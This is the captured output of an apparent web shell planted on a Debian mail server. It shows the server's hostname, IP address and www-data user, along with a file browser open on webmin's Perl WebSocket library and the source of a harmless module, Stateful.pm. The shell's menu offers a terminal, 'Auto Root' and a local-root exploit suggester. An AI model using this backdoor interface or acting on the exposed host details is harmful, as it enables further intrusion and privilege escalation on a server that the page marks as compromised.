Linux mail.vriendennsm.nl 6.1.0-51-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.177-1 (2026-07-16) x86_64
Apache/2.4.68 (Debian)
Server IP : 217.154.75.17 & Your IP : 216.73.216.195
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
webmin /
vendor_perl /
Protocol /
WebSocket /
Delete
Unzip
Name
Size
Permission
Date
Action
Cookie
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
Handshake
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
Client.pm
3.52
KB
-rw-r--r--
2026-07-17 21:17
Cookie.pm
1.64
KB
-rw-r--r--
2026-07-17 21:17
Frame.pm
10.81
KB
-rw-r--r--
2026-07-17 21:17
Handshake.pm
1.09
KB
-rw-r--r--
2026-07-17 21:17
Message.pm
4.65
KB
-rw-r--r--
2026-07-17 21:17
Request.pm
12.95
KB
-rw-r--r--
2026-07-17 21:17
Response.pm
8.24
KB
-rw-r--r--
2026-07-17 21:17
Stateful.pm
795
B
-rw-r--r--
2026-07-17 21:17
URL.pm
2.1
KB
-rw-r--r--
2026-07-17 21:17
Save
Rename
package Protocol::WebSocket::Stateful; use strict; use warnings; sub new { my $class = shift; $class = ref $class if ref $class; my $self = {@_}; bless $self, $class; return $self; } sub state { @_ > 1 ? $_[0]->{state} = $_[1] : $_[0]->{state} } sub done { shift->state('done') } sub is_state { shift->state eq shift } sub is_body { shift->is_state('body') } sub is_done { shift->is_state('done') } 1; __END__ =head1 NAME Protocol::WebSocket::Stateful - Base class for all classes with states =head1 DESCRIPTION A base class for all classes with states. =head1 ATTRIBUTES =head2 C<state> =head1 METHODS =head2 C<new> Create a new L<Protocol::WebSocket::Stateful> instance. =head2 C<done> =head2 C<is_state> =head2 C<is_body> =head2 C<is_done> =cut